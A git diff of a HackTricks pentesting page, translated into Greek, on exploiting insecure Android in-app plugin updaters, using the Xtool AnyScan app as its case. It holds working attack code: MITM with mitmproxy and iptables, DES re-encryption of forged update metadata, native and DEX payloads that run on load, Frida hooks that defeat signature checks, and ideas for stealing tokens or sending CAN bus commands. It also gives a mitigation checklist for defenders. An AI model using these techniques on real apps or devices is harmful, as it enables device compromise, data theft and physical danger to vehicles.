Translated ['src/mobile-pentesting/android-app-pentesting/insecure-in-ap

This commit is contained in:
Translator 2025-08-27 04:09:34 +00:00
parent 0baeffe2b8
commit 62982872bd

View File

@ -1,16 +1,49 @@
# Ανασφαλείς Μηχανισμοί Ενημέρωσης Εφαρμογών Εκτέλεση Απομακρυσμένου Κώδικα μέσω Κακόβουλων Πρόσθετων
# Ανασφαλείς Μηχανισμοί Ενημέρωσης Εντός Εφαρμογής Remote Code Execution via Malicious Plugins
{{#include ../../banners/hacktricks-training.md}}
Πολλές εφαρμογές Android υλοποιούν τα **δικά τους κανάλια ενημέρωσης “plugin” ή “dynamic feature”** αντί να χρησιμοποιούν το Google Play Store. Όταν η υλοποίηση είναι ανασφαλής, ένας επιτιθέμενος που μπορεί να παρεμποδίσει την κίνηση μπορεί να προμηθεύσει **τυχαίο εγγενή κώδικα που θα φορτωθεί μέσα στη διαδικασία της εφαρμογής**, οδηγώντας σε πλήρη Εκτέλεση Απομακρυσμένου Κώδικα (RCE) στη συσκευή και σε ορισμένες περιπτώσεις σε οποιαδήποτε εξωτερική συσκευή που ελέγχεται από την εφαρμογή (αυτοκίνητα, IoT, ιατρικές συσκευές …).
Πολλές εφαρμογές Android υλοποιούν δικά τους κανάλια ενημέρωσης «plugin» ή «dynamic feature» αντί να χρησιμοποιούν το Google Play Store. Όταν η υλοποίηση είναι ανασφαλής, ένας επιτιθέμενος που μπορεί να υποκλέψει ή να τροποποιήσει την κυκλοφορία ενημέρωσης μπορεί να παρέχει αυθαίρετο native ή Dalvik/ART code που θα φορτωθεί μέσα στη διεργασία της εφαρμογής, οδηγώντας σε πλήρη Remote Code Execution (RCE) στη συσκευή — και σε ορισμένες περιπτώσεις σε οποιαδήποτε εξωτερική συσκευή που ελέγχεται από την εφαρμογή (cars, IoT, medical devices …).
Αυτή η σελίδα συνοψίζει μια αλυσίδα ευπάθειας από τον πραγματικό κόσμο που βρέθηκε στην εφαρμογή διαγνωστικών αυτοκινήτων **AnyScan** (v4.40.11 → 4.40.40) και γενικεύει την τεχνική ώστε να μπορείτε να ελέγξετε άλλες εφαρμογές Android και να οπλοποιήσετε τη λανθασμένη ρύθμιση κατά τη διάρκεια μιας εμπλοκής red-team.
Αυτή η σελίδα συνοψίζει μια πραγματική αλυσίδα ευπαθειών που βρέθηκε στην εφαρμογή Xtool AnyScan automotive-diagnostics app (v4.40.11 → 4.40.40) και γενικεύει την τεχνική ώστε να μπορείτε να ελέγξετε άλλες Android εφαρμογές και να εκμεταλλευτείτε τη λανθασμένη διαμόρφωση κατά τη διάρκεια ενός red-team engagement.
---
## 1. Αναγνώριση Ανασφαλούς TLS TrustManager
## 0. Γρήγορος έλεγχος: έχει η εφαρμογή inapp updater;
1. Αποσυμπιέστε το APK με το jadx / apktool και εντοπίστε το δίκτυο (OkHttp, HttpUrlConnection, Retrofit…).
2. Αναζητήστε έναν **προσαρμοσμένο `TrustManager`** ή `HostnameVerifier` που εμπιστεύεται τυφλά κάθε πιστοποιητικό:
Στατικά ενδεικτικά που πρέπει να αναζητήσετε σε JADX/apktool:
- Συμβολοσειρές: "update", "plugin", "patch", "upgrade", "hotfix", "bundle", "feature", "asset", "zip".
- Network endpoints όπως `/update`, `/plugins`, `/getUpdateList`, `/GetUpdateListEx`.
- Βοηθητικά κρυπτογράφησης κοντά σε μονοπάτια ενημέρωσης (DES/AES/RC4; Base64; JSON/XML packs).
- Δυναμικοί loaders: `System.load`, `System.loadLibrary`, `dlopen`, `DexClassLoader`, `PathClassLoader`.
- Διαδρομές αποσυμπίεσης που γράφουν under app-internal ή external storage, και στη συνέχεια φορτώνουν αμέσως ένα `.so`/DEX.
Runtime hooks για επιβεβαίωση:
```js
// Frida: log native and dex loading
Java.perform(() => {
const Runtime = Java.use('java.lang.Runtime');
const SystemJ = Java.use('java.lang.System');
const DexClassLoader = Java.use('dalvik.system.DexClassLoader');
SystemJ.load.overload('java.lang.String').implementation = function(p) {
console.log('[System.load] ' + p); return this.load(p);
};
SystemJ.loadLibrary.overload('java.lang.String').implementation = function(n) {
console.log('[System.loadLibrary] ' + n); return this.loadLibrary(n);
};
Runtime.load.overload('java.lang.String').implementation = function(p){
console.log('[Runtime.load] ' + p); return this.load(p);
};
DexClassLoader.$init.implementation = function(dexPath, optDir, libPath, parent) {
console.log(`[DexClassLoader] dex=${dexPath} odex=${optDir} jni=${libPath}`);
return this.$init(dexPath, optDir, libPath, parent);
};
});
```
---
## 1. Αναγνώριση ενός μη ασφαλούς TLS TrustManager
1. Decompile το APK με jadx / apktool και εντοπίστε το networking stack (OkHttp, HttpUrlConnection, Retrofit…).
2. Αναζητήστε έναν προσαρμοσμένο `TrustManager` ή `HostnameVerifier` που τυφλά εμπιστεύεται κάθε πιστοποιητικό:
```java
public static TrustManager[] buildTrustManagers() {
return new TrustManager[]{
@ -22,25 +55,36 @@ public X509Certificate[] getAcceptedIssuers() {return new X509Certificate[]{};}
};
}
```
3. Αν υπάρχει, η εφαρμογή θα αποδεχτεί **οποιοδήποτε πιστοποιητικό TLS** → μπορείτε να εκτελέσετε έναν διαφανή **MITM proxy** με ένα αυτο-υπογεγραμμένο πιστοποιητικό:
3. Αν υπάρχει, η εφαρμογή θα αποδεχτεί οποιοδήποτε TLS certificate → μπορείτε να τρέξετε ένα transparent MITM proxy με ένα self-signed cert:
```bash
mitmproxy -p 8080 -s addon.py # see §4
iptables -t nat -A OUTPUT -p tcp --dport 443 -j REDIRECT --to-ports 8080 # on rooted device / emulator
```
## 2. Αντίστροφη Μηχανική των Μεταδεδομένων Ενημέρωσης
Αν εφαρμόζεται TLS pinning αντί της μη ασφαλούς trust-all logic, δείτε:
Στην περίπτωση του AnyScan, κάθε εκκίνηση της εφαρμογής ενεργοποιεί ένα HTTPS GET προς:
{{#ref}}
android-anti-instrumentation-and-ssl-pinning-bypass.md
{{#endref}}
{{#ref}}
make-apk-accept-ca-certificate.md
{{#endref}}
---
## 2. Reverse-Engineering the Update Metadata
Στην περίπτωση του AnyScan, κάθε εκκίνηση της app προκαλεί ένα HTTPS GET προς:
```
https://apigw.xtoolconnect.com/uhdsvc/UpgradeService.asmx/GetUpdateListEx
```
Το σώμα της απάντησης είναι ένα **XML έγγραφο** των οποίων οι κόμβοι `<FileData>` περιέχουν **Base64-κωδικοποιημένο, κρυπτογραφημένο με DES-ECB** JSON που περιγράφει κάθε διαθέσιμο plugin.
Το σώμα της απάντησης είναι ένα XML έγγραφο των οποίων οι κόμβοι `<FileData>` περιέχουν Base64-encoded, DES-ECB encrypted JSON που περιγράφει κάθε διαθέσιμο plugin.
Τυπικά βήματα αναζήτησης:
Τυπικά βήματα ανίχνευσης:
1. Εντοπίστε τη ρουτίνα κρυπτογράφησης (π.χ. `RemoteServiceProxy`) και ανακτήστε:
* αλγόριθμο (DES / AES / RC4 …)
* τρόπο λειτουργίας (ECB / CBC / GCM …)
* σκληρά κωδικοποιημένο κλειδί / IV (συνήθως 56-bit DES κλειδιά ή 128-bit AES κλειδιά σε σταθερές)
2. Επαναφέρετε τη λειτουργία σε Python για να αποκρυπτογραφήσετε / κρυπτογραφήσετε τα μεταδεδομένα:
- αλγόριθμος (DES / AES / RC4 …)
- τρόπος λειτουργίας (ECB / CBC / GCM …)
- hard-coded key / IV (συνήθως 56bit DES ή 128bit AES constants)
2. Υλοποιήστε ξανά τη συνάρτηση σε Python για να αποκρυπτογραφήσετε / κρυπτογραφήσετε τα μεταδεδομένα:
```python
from Crypto.Cipher import DES
from base64 import b64decode, b64encode
@ -55,9 +99,17 @@ def encrypt_metadata(plaintext: bytes) -> str:
cipher = DES.new(KEY, DES.MODE_ECB)
return b64encode(cipher.encrypt(plaintext.ljust((len(plaintext)+7)//8*8, b"\x00"))).decode()
```
## 3. Δημιουργία Κακόβουλου Πρόσθετου
Σημειώσεις που παρατηρήθηκαν στο πεδίο (20232025):
- Metadata είναι συχνά JSON-within-XML ή protobuf· αδύναμοι αλγόριθμοι κρυπτογράφησης και στατικά κλειδιά είναι συνηθισμένα.
- Πολλοί updaters δέχονται απλό HTTP για τη λήψη του πραγματικού payload ακόμα και αν τα metadata μεταφέρονται μέσω HTTPS.
- Τα plugins συχνά αποσυμπιέζονται σε app-internal storage· μερικά ακόμα χρησιμοποιούν external storage ή legacy `requestLegacyExternalStorage`, επιτρέποντας cross-app tampering.
1. Επιλέξτε οποιοδήποτε νόμιμο ZIP πρόσθετο και αντικαταστήστε τη native βιβλιοθήκη με το payload σας:
---
## 3. Δημιουργία κακόβουλου plugin
### 3.1 Native library path (dlopen/System.load[Library])
1. Επιλέξτε οποιοδήποτε νόμιμο plugin ZIP και αντικαταστήστε τη native library με το payload σας:
```c
// libscan_x64.so constructor runs as soon as the library is loaded
__attribute__((constructor))
@ -71,12 +123,37 @@ __android_log_print(ANDROID_LOG_INFO, "PWNED", "Exploit loaded! uid=%d", getuid(
$ aarch64-linux-android-gcc -shared -fPIC payload.c -o libscan_x64.so
$ zip -r PWNED.zip libscan_x64.so assets/ meta.txt
```
2. Ενημερώστε τα μεταδεδομένα JSON ώστε το `"FileName" : "PWNED.zip"` και το `"DownloadURL"` να δείχνουν στον HTTP server σας.
3. Κρυπτογραφήστε με DES + κωδικοποιήστε σε Base64 το τροποποιημένο JSON και αντιγράψτε το πίσω μέσα στο παρεμβαλλόμενο XML.
2. Ενημερώστε τα JSON metadata ώστε το `"FileName" : "PWNED.zip"` και το `"DownloadURL"` να δείχνουν στον HTTP server σας.
3. Reencrypt + Base64encode το τροποποιημένο JSON και αντιγράψτε το πίσω μέσα στο intercepted XML.
### 3.2 Διαδρομή plugin βάσει Dex (DexClassLoader)
Ορισμένες εφαρμογές κατεβάζουν ένα JAR/APK και φορτώνουν κώδικα μέσω του `DexClassLoader`. Δημιουργήστε έναν κακόβουλο DEX που ενεργοποιείται κατά τη φόρτωση:
```java
// src/pwn/Dropper.java
package pwn;
public class Dropper {
static { // runs on class load
try {
Runtime.getRuntime().exec("sh -c 'id > /data/data/<pkg>/files/pwned' ");
} catch (Throwable t) {}
}
}
```
```bash
# Compile and package to a DEX jar
javac -source 1.8 -target 1.8 -d out/ src/pwn/Dropper.java
jar cf dropper.jar -C out/ .
d8 --output outdex/ dropper.jar
cd outdex && zip -r plugin.jar classes.dex # the updater will fetch this
```
Εάν ο στόχος καλέσει `Class.forName("pwn.Dropper")`, ο στατικός αρχικοποιητής σας εκτελείται· διαφορετικά, απαριθμήστε ανακλαστικά τις φορτωμένες κλάσεις με Frida και καλέστε μια εξαγόμενη μέθοδο.
---
## 4. Παράδοση του Payload με mitmproxy
`addon.py` παράδειγμα που *σιωπηλά* αλλάζει τα αρχικά μεταδεδομένα:
`addon.py` παράδειγμα που διακριτικά αντικαθιστά τα αρχικά μεταδεδομένα:
```python
from mitmproxy import http
MOD_XML = open("fake_metadata.xml", "rb").read()
@ -89,36 +166,69 @@ MOD_XML,
{"Content-Type": "text/xml"}
)
```
Τρέξτε έναν απλό web server για να φιλοξενήσετε το κακόβουλο ZIP:
Ξεκινήστε έναν απλό web server για να φιλοξενήσει το κακόβουλο ZIP/JAR:
```bash
python3 -m http.server 8000 --directory ./payloads
```
Όταν το θύμα εκκινεί την εφαρμογή, θα:
* ανακτήσει το παραποιημένο XML μέσω του καναλιού MITM;
* αποκρυπτογραφήσει και αναλύσει με το σκληρά κωδικοποιημένο κλειδί DES;
* κατεβάσει το `PWNED.zip` → αποσυμπιέσει μέσα στην ιδιωτική αποθήκευση;
* `dlopen()` το συμπεριλαμβανόμενο *libscan_x64.so*, εκτελώντας άμεσα τον κώδικά μας **με τις άδειες της εφαρμογής** (κάμερα, GPS, Bluetooth, σύστημα αρχείων, …).
Όταν το θύμα ανοίξει την app θα:
- ανακτήσει το πλαστό XML μας μέσω του MITM channel;
- θα το αποκρυπτογραφήσει & θα το αναλύσει με το hard-coded crypto;
- θα κατεβάσει `PWNED.zip` ή `plugin.jar` → θα το αποσυμπιέσει στον ιδιωτικό χώρο αποθήκευσης;
- θα φορτώσει το περιεχόμενο `.so` ή DEX, εκτελώντας άμεσα τον κώδικά μας με τα δικαιώματα της app (camera, GPS, Bluetooth, filesystem, …).
Επειδή το plugin είναι αποθηκευμένο στη μνήμη, η πίσω πόρτα **επιμένει μετά από επανεκκινήσεις** και εκτελείται κάθε φορά που ο χρήστης επιλέγει τη σχετική δυνατότητα.
## 5. Ιδέες Μετά την Εκμετάλλευση
* Κλέψτε τα session cookies, OAuth tokens ή JWTs που αποθηκεύει η εφαρμογή.
* Ρίξτε ένα APK δεύτερης φάσης και εγκαταστήστε το σιωπηλά μέσω του `pm install` (η εφαρμογή έχει ήδη `REQUEST_INSTALL_PACKAGES`).
* Καταχρήστε οποιοδήποτε συνδεδεμένο υλικό στο σενάριο AnyScan μπορείτε να στείλετε αυθαίρετες **εντολές OBD-II / CAN bus** (ξεκλείδωμα θυρών, απενεργοποίηση ABS, κ.λπ.).
Επειδή το plugin είναι cached στο δίσκο, το backdoor παραμένει μετά από επανεκκινήσεις και τρέχει κάθε φορά που ο χρήστης επιλέγει τη σχετική λειτουργία.
---
### Λίστα Ελέγχου Ανίχνευσης & Μετριασμού (μπλε ομάδα)
## 4.1 Παράκαμψη ελέγχων υπογραφής/hash (όταν υπάρχουν)
* ΠΟΤΕ μην αποστέλλετε μια παραγωγική έκδοση με έναν προσαρμοσμένο TrustManager/HostnameVerifier που απενεργοποιεί την επικύρωση πιστοποιητικών.
* Μην κατεβάζετε εκτελέσιμο κώδικα από το Google Play. Αν *πρέπει*, υπογράψτε κάθε plugin με το ίδιο **apkSigning v2** κλειδί και επαληθεύστε την υπογραφή πριν τη φόρτωση.
* Αντικαταστήστε την αδύναμη/σκληρά κωδικοποιημένη κρυπτογράφηση με **AES-GCM** και ένα περιστρεφόμενο κλειδί από την πλευρά του διακομιστή.
* Επικυρώστε την ακεραιότητα των κατεβασμένων αρχείων (υπογραφή ή τουλάχιστον SHA-256).
Εάν ο updater επικυρώνει υπογραφές ή hashes, κάντε hook την επαλήθευση ώστε να αποδέχεται πάντα περιεχόμενο του attacker:
```js
// Frida make java.security.Signature.verify() return true
Java.perform(() => {
const Sig = Java.use('java.security.Signature');
Sig.verify.overload('[B').implementation = function(a) { return true; };
});
// Less surgical (use only if needed): defeat Arrays.equals() for byte[]
Java.perform(() => {
const Arrays = Java.use('java.util.Arrays');
Arrays.equals.overload('[B', '[B').implementation = function(a, b) { return true; };
});
```
Επίσης σκεφτείτε να δημιουργήσετε stubs για μεθόδους vendor όπως `PluginVerifier.verifySignature()`, `checkHash()`, ή να παρακάμψετε τη λογική ελέγχου ενημερώσεων σε Java ή JNI.
---
## Αναφορές
## 5. Άλλες επιφάνειες επίθεσης στους μηχανισμούς ενημέρωσης (20232025)
- Zip Slip path traversal κατά την αποσυμπίεση plugins: κακόβουλες εγγραφές όπως `../../../../data/data/<pkg>/files/target` υπεργράφουν αυθαίρετα αρχεία. Πάντα κάντε sanitization των entry paths και χρησιμοποιήστε allowlists.
- External storage staging: αν η εφαρμογή γράφει το archive στο external storage πριν το φορτώσει, οποιαδήποτε άλλη εφαρμογή μπορεί να το παραποιήσει. Scoped Storage ή internal app storage αποφεύγουν αυτό.
- Cleartext downloads: metadata μέσω HTTPS αλλά payload μέσω HTTP → straightforward MITM swap.
- Incomplete signature checks: σύγκριση μόνο ενός single file hash, όχι ολόκληρου του archive; μη σύνδεση της υπογραφής με το developer key; αποδοχή οποιουδήποτε RSA key που υπάρχει στο archive.
- React Native / Webbased OTA content: αν native bridges εκτελούν JS από OTA χωρίς αυστηρό signing, είναι δυνατή arbitrary code execution στο context της εφαρμογής (π.χ. insecure CodePush-like flows). Διασφαλίστε detached update signing και αυστηρή verification.
---
## 6. Ιδέες μετά‑εκμετάλλευσης
- Κλέψτε session cookies, OAuth tokens, ή JWTs που αποθηκεύει η εφαρμογή.
- Κατεβάστε ένα secondstage APK και εγκαταστήστε το αθόρυβα με `pm install` αν είναι δυνατό (κάποιες εφαρμογές ήδη δηλώνουν `REQUEST_INSTALL_PACKAGES`).
- Κακοχρησιμοποιήστε οποιοδήποτε συνδεδεμένο hardware στο σενάριο AnyScan μπορείτε να στείλετε arbitrary OBDII / CAN bus commands (ξεκλείδωμα θυρών, απενεργοποίηση ABS, κ.λπ.).
---
### Detection & Mitigation Checklist (blue team)
- Αποφύγετε dynamic code loading και outofstore updates. Προτιμήστε Playmediated updates. Αν τα dynamic plugins είναι απαραίτητα, σχεδιάστε τα ως dataonly bundles και κρατήστε το executable code στο base APK.
- Εφαρμόστε σωστά TLS: όχι custom trustall managers; αναπτύξτε pinning όπου είναι εφικτό και ένα hardened network security config που απαγορεύει cleartext traffic.
- Μην κάνετε download executable code από έξω από το Google Play. Αν πρέπει, χρησιμοποιήστε detached update signing (π.χ., Ed25519/RSA) με ένα developerheld key και verify πριν το φορτώσετε. Συνδέστε metadata και payload (μήκος, hash, version) και αποτύχετε κλειστά (fail closed).
- Χρησιμοποιήστε σύγχρονη κρυπτογραφία (AESGCM) με permessage nonces για metadata; αφαιρέστε hardcoded keys από τους clients.
- Επικυρώστε την ακεραιότητα των downloaded archives: επαληθεύστε μια υπογραφή που καλύπτει κάθε αρχείο, ή τουλάχιστον επαληθεύστε ένα manifest με SHA256 hashes. Απορρίψτε επιπλέον/άγνωστα αρχεία.
- Αποθηκεύετε τα downloads σε appinternal storage (ή scoped storage στο Android 10+) και χρησιμοποιήστε file permissions που αποτρέπουν crossapp tampering.
- Προστατευτείτε από Zip Slip: κανονικοποιήστε και επικυρώστε τα zip entry paths πριν την εξαγωγή· απορρίψτε absolute paths ή `..` segments.
- Εξετάστε το Play “Code Transparency” για να επιτρέψετε σε εσάς και στους χρήστες να επαληθεύετε ότι το shipped DEX/native code ταιριάζει με αυτό που χτίσατε (συμπληρώνει αλλά δεν αντικαθιστά το APK signing).
---
## References
- [NowSecure Remote Code Execution Discovered in Xtool AnyScan App](https://www.nowsecure.com/blog/2025/07/16/remote-code-execution-discovered-in-xtool-anyscan-app-risks-to-phones-and-vehicles/)
- [Android Unsafe TrustManager patterns](https://developer.android.com/privacy-and-security/risks/unsafe-trustmanager)
- [Android Developers Dynamic Code Loading (risks and mitigations)](https://developer.android.com/privacy-and-security/risks/dynamic-code-loading)
{{#include ../../banners/hacktricks-training.md}}